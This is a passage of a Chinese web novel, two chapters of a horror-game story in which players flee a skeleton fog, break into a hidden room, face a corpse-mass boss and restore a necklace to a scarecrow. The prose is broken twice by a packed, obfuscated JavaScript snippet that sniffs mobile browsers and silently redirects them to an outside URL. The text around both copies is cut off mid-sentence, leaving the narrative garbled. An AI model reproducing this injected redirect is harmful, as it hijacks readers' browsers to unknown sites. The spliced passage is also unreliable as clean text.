冲在最前面的韦媛媛一个侧身避开了即将和自己撞上的胖子,而胖子却没有这么灵活的身手,直接一个大马趴摔在了地上。 紧随其后的阮小红“吧唧”一下踩在胖子身上越了过去。 鼓声停下了,肉眼可见的浓雾从胖子来的方向弥漫而至,浓雾前还有刚刚越过去的韦媛媛和阮小红。 两声清脆的呵斥重叠从远处砸过来:“死胖子!” 趴在地上的胖子:“冤枉啊!” 那浓雾里若隐若现的骷髅他根本没有办法对抗,只靠着【暖暖太阳鼓】震慑,本来太阳鼓对灵异类的东西可以直接驱散,但这白骨不知是疑问数量太多还是实力远超太阳谷控制范围,每次敲响太阳鼓只能硬控它们三秒。 能从石头城堡一路奔逃到这里简直是奇迹,只因为太阳鼓没有鼓槌!要敲响它只能靠脑袋砸,震慑对手的同时晕眩己方,能走到这里胖子自己都佩服自己意志力顽强! 最可气的是,每次鼓声响起,连带着还有鼓的笑声:“嘻嘻~” 到底是谁制作的这个道具,胖子发誓要给他点颜色瞧瞧! 然而很快胖子瞳孔一缩,看见了迎面而来的重黎、武落和异常显眼的狼牙棒。 他一个跳跃就从地上蹦起来,紧跟着韦媛媛和阮小红往三岔路的最后一条跑:“救命啊!!” 几人没有商量,但逃跑的方向都是汉斯的房子。 浓雾和狼牙棒汇合,威慑力度更上一层楼。 重黎拼命挥舞着背上的迷你翅膀,这路也太长了! 下一秒,重黎只感觉背上的翅膀一阵刺痛,突然消失了,一个趔趄摔倒在地,手肘蹭上地面被沙子磨出一大片红砂。 重黎胸口一阵腥甜味儿上涌,即使不看生命值她也知道自己即将躺尸了。 跑在最前面的几人似乎发现了,阮小红脚步一顿似乎想要折返,最前面的韦媛媛连一秒的停顿都没有继续向前。重黎已经听到了身后传来了狼牙棒的呼啸声。 “小心!” 一个人影斜冲过来,摇摇晃晃的翅膀撑起了两个人的重量,险而又险地避过狼牙棒。 武落龇牙咧嘴:“你快点用券啊!” 重黎一怔,一阵光芒重新绽放,重黎背上的翅膀出现,减轻了武落的负担,两人又往前追了些,能看见胖子的背影。 武落整个脸扭曲到变形:“没......没事儿,别管我,快跑!” 武落此刻的小腿一片鲜血淋漓,显然是刚刚被狼牙棒蹭到了,重黎回头看了一眼紧追不舍的狼牙棒没说话。 接近房子的时候,韦媛媛右手无名指一根红色丝线亮起,延伸向不远处的某一点,韦媛媛直直冲过去,一弯腰精准穿过狗洞消失在原地。 动作帅气又利落,和后面狗爬进来的几人形成了鲜明的对比。 重黎狠狠吞咽了一口口水,翻了个面直接躺在了地上。 等在院子里的韦媛媛脸不红心不跳,她紧紧地盯着重黎,重黎察觉到视线仰起下巴倒着看了她一眼,又安详躺下了。 明明自己说了会护着她,然而在遇见危险的时候,她并没有护着重黎。重黎此刻的神情却很平静,她看得出来是真的没有一点怨怼或者不爽。 重黎此刻难得大脑一片空白,如果她知道韦媛媛在想什么,她只会说,从头到尾,她就没有相信过她,没有期待自然没有失望。 她绝对不会将自己的生死交到别人手里,哪怕是重汐、重渊,也不例外。 可是奇怪的是,重黎从地上坐起来然后面无表情地盯着冒冷汗的武落看了一会儿,从兜里掏了掏,把自己刚刚喝剩下的治疗药剂递给武落。 武落也没有推拒,面露感谢,然后喝了下去,小腿上的伤肉眼可见的好转。 重黎先往嘴里塞了一颗糖,又掏了一颗递给武落:“吃吗?” 武落一怔,疼痛也挡不住他脸上的开心,其实他知道重黎一直对他有些戒心,但他这副混混样子别人害怕也正常。他相信缘分天注定,就像他第一次看到重黎的时候,就觉得亲切,像自己素未谋面异父异母的妹妹大佬。 他的第六感可是很强的!只要他坚持不懈,重黎就能成为他的妹妹!看,这糖就是他们友谊的桥梁!羁绊的开始! 武落一口吞下糖,然后面露菜色,这怎么是这个味道的糖,他看重黎和阮小红吃得这么开心还以为很好吃呢,一股子腥味儿。 不、不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519984|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,这可是来之不易的友谊啊!于是他强撑着开口:“好……哕……好吃……哕……” 然后,他看见重黎笑了,很甜但是……刹那间他所有汗毛齐齐敬礼。 “王凯和李双呢?”重黎问瘫在地上仿佛下一秒就要流口水的胖子道。 胖子喘气:“不知道啊!突然人就没了......” 然而话还没说完,狗洞方向又传来了动静。 是王凯,王凯看见狼狈的众人挑眉,但他下一秒就看见了胖子,他快步上前:“胖子!你没事吧?” 然而胖子却表情凝固,往王凯身后看了一眼,沉声问道:“李双呢?” 王凯露出一个安抚的微笑:“你别急,李双留在城堡了。” “浓雾突然出现之后,你就突然消失了,然后我们见到了几个人。”王凯从兜里掏出一块黑色石头,“这是留影石。” 放在地上的瞬间,石头开始发光,在空中投射出画面。 一个老人出现在画面中,佝偻的身躯、布满皱纹的面孔,干瘦但却不孱弱。 王凯的声音传来:“这个村子究竟发生了什么?” 老人面露痛苦,眼睛向上抬失去了焦点,开始回忆:“某一天村子里突然来了一群传教士。” 下一秒所有人都接到了夏娃的提示:【叮~探索度+15,当前探索度30%。】 显然这是一条重要提示,而画面里的视角有些奇怪,边缘有些遮挡,像是偷窥的视角,画面上一群传教士在向坐在主位的男人进言。 “尊敬的男爵大人,女巫总有些异于常人的地方,换句话说只要有异于常人的地方,祂不就都是女巫吗?”穿着神父袍的男人声音轻柔,如同靡靡之音带着令人无法抗拒的诱惑力,“国王大人有令,土地、人口、财富,甚至权力,只要上交女巫,唾手可得啊,男爵大人!” 男爵眼神闪烁,但却并未一口应承,他原本只是一个普通士兵,机缘巧合救了一个大人物得到了一个最低等的男爵爵位,他确实想要再进一步,男爵手肘撑在他身下这张华丽、厚重代表着权力的椅子上,漫不经心地对男人说:“我的领土怎么能出现这种冤假错案呢?这要是传出去……” 穿着神父袍的男人意会,神秘一笑:“男爵大人,这您放心,我们当然替你考虑好了。” 男人抬起左手,他身后同样穿着神父袍却带着纯白面具的男人捧着一个廉价木箱子上前,轻轻掀开了盒盖。 男爵皱起了眉头:“面包?” “这可不是普通的面包,它是神赐下的礼物,以邪恶女巫的罪恶为食。男爵大人的领土突现饥荒,原来是一群邪恶的女巫作祟!领主的子民跪求领主大人的救助,甘愿以身为祭,成为土地之神的仆从,消灭邪恶女巫。在领主大人的英明带领下,邪恶的女巫们被消灭!她们乌黑的尸骨将作为证据送往王都!” 男爵把玩着大拇指上的翠绿扳指,不置可否,只叫来了管家:“带舍费尔神父下去休息,以最高礼遇招待。” 舍费尔将右手放在心脏处,恭敬一礼。 14. 汉斯的新娘9 武落一愣:“长高?” 重黎点头:“睡觉之前你说的,为什么觉得你自己长高了?” 武落捏住下巴,开始思考,两只眼珠子四处乱转,然后在屋子里走来走去,最后走进了楼梯下方的杂物间。 重黎看着他趴在各种地方认真观察的样子眯起了眼。 半晌武落灵光一闪:“啊!我知道了,就是总感觉自己离天花板近了,你看啊!” 武落往上一跳,右手轻松触碰到了天花板,他稳稳落地:“你看,近了。” 阮小红鼓掌:“好一通逻辑缜密的说明啊!” 重黎笑了,随手拿下一把挂在杂物间墙上的锄头,再次绕到客厅,一开始她就觉得奇怪,一般的楼梯总有折角,但是汉斯家的楼梯却是单向的,楼梯的下方却不是镂空的。 武落的直觉似乎很强,在上一个副本她就已经见识到了,他敢只凭直觉就把生死赌在一个完全陌生的人告诉他的结果。 所以她确定,这栋小小的房子还别有洞天。 重黎拎着锄头,翻转一面,用锄根的位置狠狠砸向墙壁。 “砰——” 砸了一下后,墙壁纹丝不动,但众人都听出不对了,里面是空的。 重黎面无表情放下锄头,看向武落:“你来!” 阮小红右脚往前挪就准备去帮忙,被重黎的一眼定在原地:“歇着。” 武落屁颠颠地上前接过锄头,梆梆就是两下。 就在这时,王凯从楼上探出了头:“你们干嘛呢?” 武落回答:“砸墙。” 重黎不理:“继续。” “哦。”武落又是梆梆两下,墙面裂开了。 王凯有些无语:“你们倒是上来个人帮忙啊,汉斯不知道为什么就躲在房间里......” 话还没说完,汉斯就像一阵风一样从楼上旋了下来,他满脸惊恐:“你们要干什么!” 然而此时已经来不及了,武落没停,再一锄头下去,墙壁裂了。 重黎眉眼弯弯,果然,这后面就是昨天晚上她待的地方。 只有一米高的空间却贯通了半栋房子,墙壁被破开的瞬间一股潮湿腐朽的味道扑面而来,里面乱七八糟堆着些东西,部分东西还能看得出来是女性用品,所以不是没有艾尔莎的痕迹,是被人将所有的痕迹都藏在了暗无天日的密室里。 包括,一个孩子。 重黎看向汉斯只说了两个字:“宝儿?” 汉斯瞳孔地震,你怎么知道! 【叮~探索度+20,当前探索度50%。】 熟悉的进度画面出现。 依旧是在这栋房子里,却有三个人,小小的黑色线条身影蹲在二楼的楼梯上,透过栏杆看着下方争吵的两个人。 “汉斯!你疯了吗?我们怎么能把鲍尔交出去!那是我们的孩子!” 汉斯抱着头抓着自己的头发,听到女人的指责,他越发凶神恶煞:“那能有什么办法!如果不是你!你生下了这个怪物!现在那些人找来了!不把她交出去难道你想死吗!” “不!不会的!我们藏得很好!没有人知道!” “怎么可能没人知道!她每天都跑到玛利亚那个怪老太婆那儿去,早被发现了也说不定!不行,不行……”说着看向了楼梯上方露出的那个人影。 黑影一颤,汉斯凶恶的眼神逐渐放大。 “不!不!我去!我是女巫!”那个有着一头红发的女人一把抱住了汉斯的腿,“是我!是我……” 画面像卡顿一般跳转,女人走出家门时回头那一刻温柔的眼神,忍不住落下的一滴泪水被放慢。 汉斯强硬抓住小小的人影将她扔进了隔层,用砖头封住了出口,最后一丝光线落下后一片黑暗。 克制的抽噎声久久不绝。 投影结束,汉斯猛地后退两步,视线移向旁边:“你们不是要离开吗,现在立刻拿了东西马上离开!” 重黎一直带着笑意的嘴角向下,鲍尔,不是宝儿。原来因为他离开了房子是这么个离开法:“鲍尔在哪儿?” 汉斯一听到这个名字,满脸惊恐:“她走了!走了!我不知道!别问我!我不知道!” 他在害怕,重黎点头,教科书般的害怕,联系上下文,重黎眼神里闪烁起了兴奋的光芒。 鲍尔,是女巫。 重黎上前一步:“鲍尔是你的女儿?你和艾尔莎的小孩儿?那为什么她不是你的新娘?你把鲍尔藏起来了?不对,鲍尔应该比你厉害多了,她自己跑走了?去哪里了!” 汉斯在重黎的逼问下似乎像是遭受了什么酷刑,他抱着头大喊:“我真的不知道!” “那个怪物!死在外面最好!” “你不知道还这么希望她死?” “邦——” 突然一声巨响,汉斯被阮小红捏住脖子抵到了墙上,那双吊梢眼此刻全是凌厉的杀意:“渣滓。” 毛绒绒的爪子上锋利的指甲弹射出来,瞬间滑破了汉斯的皮肤。 下一秒一双手掐住了阮小红的手,王凯皱眉:“你要是杀了他,我们所有人都得死。” 阮小红咬牙看向王凯,看起来想把这人也杀了。 武落戳戳重黎:“你不管管?” 重黎一脸惊讶:“我能管谁?” 然而也不需要重黎劝解,阮小红松开了他的手。汉斯猛吸一口气,力竭瘫倒在地上。 王凯在他面前蹲下:“你认识那个老头吗?” 汉斯似乎是被阮小红吓到了:“认识,是我们庄园里的管事。” “他把这里发生的事情都告诉我们了。”重黎突然插嘴,“你能藏起来这么久是跟鲍尔有关?” 汉斯低头沉默片刻突然又开始哭了,然而哪怕是武落也不会再因为他的泪水而可怜他。 阮小红从兜里拿出一瓶药剂,捏住汉斯的嘴灌了下去,然后梆梆给了他两拳头。 重黎被这两拳头惊得耸了一下肩膀,主要是声音实在太大,看得出来是很讨厌了。 【二流吐真药水】:被使用对象精神恍惚时有一定几率触发“吐真”效果,持续效果三分钟。 阮小红问道:“说清楚。” 汉斯的神色开始迷离,终于露出了自己的真实想法,他愤恨道:“鲍尔不是我的孩子,艾尔莎那个贱人不知道和谁生下的孩子,天生 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时间到了,汉斯清醒过来,他显然知道自己刚刚说了什么,他大声喊道:“不可以!你们不能拿走石头!那是我的东西!” 他还要继续喊,被阮小红“梆梆”两拳砸晕了,他似乎还不解气。 重黎提醒道:“这只是一个NPC。” 阮小红没回头,恶狠狠地说道:“他不配当父母!” 重黎闭嘴了,父母?她没有父母。重黎觉得自己没有发言的权利,遂放弃,转头去研究下门上的石头好了。反正NPC打一打也不会死,应该? 重黎来到门边,武落、胖子和王凯早就站在这里了,因为李双的离队,胖子和武落显然对他提高了警惕。 重黎瞅了两眼门把手上的石头,乍一看就是几块黑色的普通石头,然而,仔细看就会发现其中会偶尔闪过一丝银光。 看起来的确像个道具。 没等多长时间,太阳即将落山的那一刻,胖子当仁不让地取下了石头,之所以让胖子拿的原因,是因为所有人都看得出来他一定会去城堡找李双。 石头被取下的瞬间散发出柔和的光芒,形成了一个白色的光罩,覆盖住几人稍显拥挤。 【一块平平无奇的石头】:形成半径1米的光罩,光罩内的人可获得隐身效果,时效30分钟,冷却时间24小时。 等胖子共享了道具效果后,众人的心稍安,至少能证明那老头说的是真的。 “笃笃笃——” 突然,门被敲响了。 被打晕在角落里的汉斯转醒,听到这声音的瞬间惊恐无比。 一个嘶哑的闷闷的声音从外传来:“我......是......艾尔莎吗?” “笃笃笃——” “我......是......艾尔莎吗?” “笃笃笃——” “我......是......艾尔莎。” 日复一日不甘心的敲门声被【一块平平无奇的石头】房子啊门外,此刻那扇门终于被打开。 虬结的尸块前赴后继地涌入。 15. 汉斯的新娘10 一股强大的威压袭来,几人被尸块和汉斯堵在了中庭,站在石头形成的光罩内大气不敢出。 尸块缓慢从他们身边滑过,它身上到处都是形状不一的眼睛,眼珠子滴溜溜地乱转,似乎在搜寻猎物。 汉斯也不知道使用了什么方法让尸块无法捕捉到他的位置,此时顾不得抢走了他石头的重黎等人,正小心翼翼地往墙缝的方向行进。 韦媛媛眉头皱起,这尸块简直就像行走的污染源,就连胖子腰间的梨树叶已经变成深红。 尸块往前蠕动,各式各样的人体部位翻涌滚动,传过来的味道巨臭无比,武落差点又没忍住吐出来,他死命捂住自己的嘴。 王凯示意几人绕过尸块从大门离开这里。 几人和尸块即将错开的瞬间,一把锋锐的50厘米长的菜刀越过众人,“噌——”地一声把汉斯的小腿钉在了墙上。 汉斯大叫一声,松开了他一直紧张护住的右手,一个黑黢黢的线条人偶。 汉斯大脑瞬间空白,重黎笑了,果然是这个,一听到石头的作用的时候,重黎就知道昨天晚上自己若有似无闻到的血腥味儿不是错觉。 眨眼间,尸块所有的眼睛全部集中在前方,死死盯住了汉斯。整座尸块开始发出哈气声,似乎就要失去理智。 电光火石之间,汉斯以超乎寻常的速度冲向了重黎。 “项链!项链给我!” 然而他根本连重黎的衣角都没有碰到,韦媛媛拎着她的衣领跳到了院子的墙面上高高在上地俯视众人,云淡风轻的姿态却表明了自己的态度。 随着韦媛媛和重黎的动作,尸块显然也发展了众人。 身上无数眼睛滴溜溜地转圈,最终固定在了重黎身上,嗬嗬喘气冲着重黎流口水。 重黎撇嘴,这该死的魅力值。 韦媛媛皱眉。 然而没等她们有动作,那边的胖子突然抬起了手,一串紫色鸢尾花项链赫然出现在他手里。 重黎这是才注意到胖子的手和他的身材格格不入,又长又细的手骨节分明,灵活无比。无疑,这是一双小偷的手。 胖子用复杂的眼神看了重黎一眼,将手里的鸢尾花抛给了汉斯。 如果不给他项链,汉斯连带着boss都会跟着他们,石头不知道什么因为原因一时失去了效果,他必须要离开这里,李双还等着他。 而拿到项链的汉斯像举着一个护身符一样,双手握住项链,鸢尾花的根茎指向那座尸块。 那座尸块突然震颤起来,发出尖啸,视线也从重黎身上收了回去聚焦在了汉斯身上,伸出数十双手想要将汉斯撕裂。 汉斯见状欣喜若狂,不退反进,迅速将手中的项链插进尸块庞大的身躯。 尸块儿顿住了。 汉斯状若癫狂:“去死去死去死!” 重黎歪头,汉斯不是说这项链是给他的新娘的?他认为这尸块儿是他的新娘。 可这尸块儿不是艾尔莎吗? 重黎有些迷惑,而在这期间,王凯和胖子已经跑出了院落,向着城堡奔去。 武落在下面招呼:“重黎!我们快走啊!别留在这儿了!” 阮小红安静地站在重黎下方的墙壁边,没说话,显然也是要跟着重黎走。 就在这时,尸块猛地一缩一放,汉斯的右手齐腕断开,嚼吧嚼吧两下,一串晶莹的项链毫发无损地被猛地吐出掉落在阮小红面前。 “啊!!!”汉斯大脑一懵,一脸不可置信,“不可能!为什么没效果……” 紧接着他像是反应过来了,眼神怨毒:“她骗我!” 汉斯踉跄着往外跑,然而身后的尸块儿如同膨胀了一般横向扩展,几乎要溢出围墙。 【支线任务信物的传递内容更新:请将信物送回到她的主人身边。任务奖励:道具升级券*1,无视道具等级强制升级,制作by离焱。】 重黎眼睛睁大,无视等级!这一看就是个好东西啊! 电光火石,重黎大脑飞速运转。 信物的主人是汉斯的新娘,汉斯认为这团尸块儿就是他的新娘,但只怕他们并不是什么相亲相爱的友好关系。 汉斯想拿项链刺尸块儿,显然是觉得这项链可以消灭尸块儿或者有什么其他负面效果,但没有起作用。 要么,确如汉斯所说,有人骗了他,这条项链对他的新娘不起作用。 要么,这就不是他的新娘。 “小红!项链!” 阮小红听到重黎声音的瞬间,毫不犹豫地捡起了项链。 重黎一把抓住韦媛媛的衣角:“走!” 韦媛媛嘴角一抽,但还是第一时间从墙壁上一跃而下,轻轻松松拎着重黎跑路。 “这边!这边!”重黎拧着韦媛媛的衣角,像把着方向盘。 韦媛媛越想越气,忍不住一个锭子敲在重黎脑袋上:“死丫头,我是你坐骑啊!” “嗷!” 身后,武落也气喘吁吁跟上飞速移动的韦媛媛:“去哪儿啊!姐!等等我啊!” 韦媛媛没好气地说:“说!去哪儿!” 重黎刷地一下指向右边。 几人一路穿过寂静的房屋群来到了那片田边。 此时天色已经完全黑了,重黎看到依旧屹立在田中央的稻草人,就知道自己猜对了。 “臭丫头,来这儿干什么?” 重黎没有第一时间回答,而是试探着望田里走了一步,发现那些飞舞的记忆萤火虫避开了。 重黎这下便无所顾忌,一脚踩进了田柳,土地是湿软的,触感有些奇怪。她朝阮小红伸手,阮小红立刻把项链递给她。 武落此时才跑到田边,他脑子再迟钝也知道了,显然重黎要将项链给这片田里唯一的存在,那个稻草人。 “这是汉斯的新娘??” 重黎没回头,但是为了避免夏娃认为她是下毛转上死耗子,她解释了,声音不大,武落他们听不清无所谓。 “首先按照副本规则,可以认为被系统认证过的画面是真的且留影石内容无法更改,那么可以确定三件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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武落有些犹豫,手放在嘴边提高了一点音量:“艾尔莎都这么惨了,我们确定还要把信物给她吗?支线任务是不是不完成,也可以啊?” 听到这里,重黎回头看了一眼武落,哼哼两句:“汉斯和艾尔莎显然是对家,大哥,你觉得你和你对家能有什么爱的信物存在吗?又不是小说,他说这项链对艾尔莎有害就一定有害吗?更何况刚才对那尸块儿不是一点用没用?更何况新的任务是用的离焱名义,只怕这个名字和鲍尔息息相关。再怎么也不会害自己亲生母亲吧。” 重黎没说的是,就算会她也会送,因为她要奖励。 不远的距离,重黎却花了五分钟的时间,她看着面前这个莫名有些清秀的稻草人,却没有将项链挂在稻草人脖子上,而是拿着项链靠近了稻草人别在胸口的向日葵胸针。 小小的项链严丝合缝地卡在了向日葵的不规则缺口处。 重黎勾唇,自己果然没有看错。这项链本身就是向日葵的一部分。 随着一道细微的白光闪过,胸针变得完整。 【滴~支线任务信物的传递已完成,探索进度+30%,当前进度80%。恭喜冒险者10317894达成要求,可选择提前登出副本。】 显然只有重黎收到了提示。 【请您选择是否提前等出副本?】 【是】和【否】的选项出现在重黎面前,重黎毫不犹豫选择了【否】。 走什么走,她的仇可还没报呢。